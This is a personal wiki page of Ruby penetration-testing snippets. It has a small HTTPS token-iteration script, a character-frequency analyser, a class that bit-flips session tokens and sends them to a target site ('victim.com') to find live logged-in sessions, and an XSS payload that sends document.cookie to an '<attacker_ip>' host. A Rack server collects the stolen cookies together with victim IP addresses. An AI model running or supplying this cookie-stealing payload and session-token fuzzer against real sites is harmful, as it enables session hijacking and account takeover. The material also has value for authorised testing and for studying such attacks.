RubyCodeSnippets

From Rory.wiki

Jump to: navigation, search

Contents

Ruby Code Snippets

This is somewhere for me to keep sections of Ruby code I've written with some notes.


generic https getting

This code is just to do an iteration over a token supplied as part of an https request

require 'uri'
require 'net/http'
require 'net/https'
 
#Supply the tokens here
tokens = File.open(ARGV[0],'r')
 
#chuck the tokens into an array and strip off the newlines
token_array = tokens.readlines
token_array.each {|token| token.chomp!}
 
output = File.new('token_responses','w+')
 
#Set the base URL request end up with the parameter that you've got tokens for
url = URI.parse('<your_url_here>')
 
#Start up a session
http = Net::HTTP.new (url.host, 443)
 
#Set it to use SSL
http.use_ssl = true
 
token_array.each do |token|
  request = url.request_uri + token
  resp, data = http.get(request, nil)
  output.puts (token + ' gave a response of ' + resp.to_s)
end
 
output.close


Frequency Analyser

Quick and dirty script to analyse how often specific characters occur in a string value

#!/usr/bin/env ruby
 
if ARGV.length < 1
  puts 'syntax is freq-analysis.rb <filename>'
  exit
end
 
input = File.open(ARGV[0],'r') 
 
input_array = input.readlines
input_array.each {|line| line.chomp!}
 
 
frequencies = Hash.new
 
 
input_array.each do |token|
  token.each_char do |character|
    if frequencies[character]
      frequencies[character] = frequencies[character] + 1
    else
      frequencies[character] = 1
    end
  end
end
 
frequencies.each do |char,value|
  puts char + " => " + value.to_s
end

Token Analyzer

Written to analyze a token which determined whether a user was logged in or not. the code fuzzes the tokens by bit-flipping the first 16 bits then tries out each request to the target server and records the response.

Main Class

class TokenAnalyzer
  require 'rubygems'
  require 'mechanize'
  require 'logger'
  require 'uri'
  require 'timeout'
  attr_accessor :fuzzed_tokens, :token_array
 
  def initialize (token_file, base_url, fuzz_bits)
    @log = Logger.new("token-analyzer-log.txt")
    @log.level = Logger::DEBUG
    @log.debug("Created Logger")
    input_file = File.open(token_file,'r')
    #This sets the base URL.  You need to have the parameter to be fuzzed at the end of the parameter list
    #eg, http://victim.com/test_page?param1=xxx&param_to_fuzz=
    @base_url = base_url
    #Sets number of bits to fuzz
    @fuzz_bits = (fuzz_bits.to_i)
    @token_array = input_file.readlines
    @token_array.each {|token| token.chomp!}
    @fuzz_report = Hash.new
    @fuzz_report_file = File.new('fuzz_report_file.txt','w+')
 
  end
 
 
  def fuzz_tokens
    @fuzzed_tokens = Hash.new
 
    @token_array.each do |token|
      @fuzzed_tokens[token] = Array.new
      @fuzzed_tokens[token] << token
 
      hex_val = token[0..(@fuzz_bits - 1)]
      @log.debug("initial Val is " + hex_val)
      rest_blocks = token[@fuzz_bits..(token.length - 1)]
      rest_blocks = token[16..47]
 
      integer_val = hex_val.to_i(16)
 
      bin_val_string = integer_val.to_s(2)
      bin_val_array = bin_val_string.split(//)
 
 
      #Flipping bits
      for i in 1..bin_val_array.length
        #Yuck this is horrible Must find a better way
        number = ('-' + i.to_s).to_i
        test_bin_array = Array.new(bin_val_array)
        if test_bin_array[number] == '1'
          test_bin_array[number] = '0'
        else
          test_bin_array[number] = '1'
        end
 
        new_bin_string = test_bin_array.to_s
        new_integer_val = new_bin_string.to_i(2)
        new_hex_val = new_integer_val.to_s(16)
        @log.debug("completed val is " + new_hex_val)
        @fuzzed_tokens[token] << new_hex_val + rest_blocks
      end
    end
  end
 
  def token_tester
    @fuzzed_tokens.each do |key,token_array|
      #Initialize Array for the report 0 is user found, 1 is user not found, 2 is 500 error
      @fuzz_report[key] = Array.new
      #this is just to remove any duplicate tokens and log some entries to mention if that's happened
      @log.debug("token array initially " + token_array.length.to_s)
      token_array.uniq!
      @log.debug("token array after de-dup " + token_array.length.to_s)
 
 
      urls = Array.new
      token_array.each do |token|
        urls << @base_url + token
      end
      @log.debug("setup token array")
      output = File.new(key + '_test_responses','w+')
 
      urls.each do |url|
        @log.debug("starting run for " + url)
        agent = WWW::Mechanize.new
        begin
          page = Timeout::timeout(15) { agent.get(url)}
          @log.debug("Got page")
        rescue WWW::Mechanize::ResponseCodeError => e
          puts 'Got a response code error on ' + url
          @log.debug(e.message +  " on " + url)
          output.puts "URL " + url + " Gave Error " + e.message
          @fuzz_report[key] << '2'
          next
        rescue Errno::ECONNREFUSED
          puts 'yech got a connection refused on ' + url
          @log.warn("Connection refused on " + url)
          next
        rescue Timeout::Error
          puts 'got a timeout on ' + url
          @log.warn("Got a timeout on " + url)
          next
        end
        matched = false
        page.links.each do |link|
          if link.text.match /Log in as someone else/
            output.puts "URL " + url + " has a user associated"
            @fuzz_report[key] << '0'
            matched = true
          end
        end
        unless matched
          output.puts "URL " + url + " does not have a user associated"
          @fuzz_report[key] << '1'
        end
        @log.debug("Finished this run")
      end
      output.close
      @log.debug("and we're done")
    end
  @fuzz_report.each do |rep_key,rep_array|
    @fuzz_report_file.puts rep_key + ',' + rep_array.to_s
  end
  end
 
end

Test Example

#!/usr/bin/env ruby
 
require 'rTokenAnalyzer'
 
analyzer = TokenAnalyzer.new('token-list.csv','https://www.victim.com/test_page?param1=1&param_to_test=',16)
 
analyzer.fuzz_tokens
 
analyzer.token_tester


Basic Rack cooke grabber

Useful for proving the value of XSS attacks. Just get the URL into the vector and away you go...

<script>document.location="http://<attacker_ip>/cookiegrabber?cookie="+document.cookie</script>
#!/usr/bin/env ruby
require 'rubygems'
require 'rack'
builder = Rack::Builder.new do
  use Rack::CommonLogger
  @@grabbed = Array.new
  map '/' do
    run Proc.new {|env| [200, {"Content-Type" => "text/html"}, "<h1> Rack Pen Test Helper</h1>"]}
  end
 
  map '/cookiegrabber' do
    app = proc do |env|
      req = Rack::Request.new(env) 
      ip = req.ip.to_s
      cookie = req.params['cookie'] || "No Cookie Parameter passed"
      @@grabbed << [ip,cookie]
      [200, {"Content-Type" => "text/html"}, "grabbed " + cookie + " from " + ip + "<br /> Grabbed " + @@grabbed.length.to_s + " cookies so far"]
    end
    run app
  end
 
  map '/cookiegrabbed' do
    app = proc do |env|
      out = ""
      if @@grabbed.length > 0
        @@grabbed.each do |crumb|
          out << "Grabbed a cookie with value  " + crumb[1] + " from " + crumb[0] + "<br />"
        end
      else
        out = "Nothing Grabbed so far"
      end
      [200, {"Content-Type" => "text/html"}, out]
    end
    run app
  end
end
Rack::Handler::Mongrel.run builder, :Port => 9292
Personal tools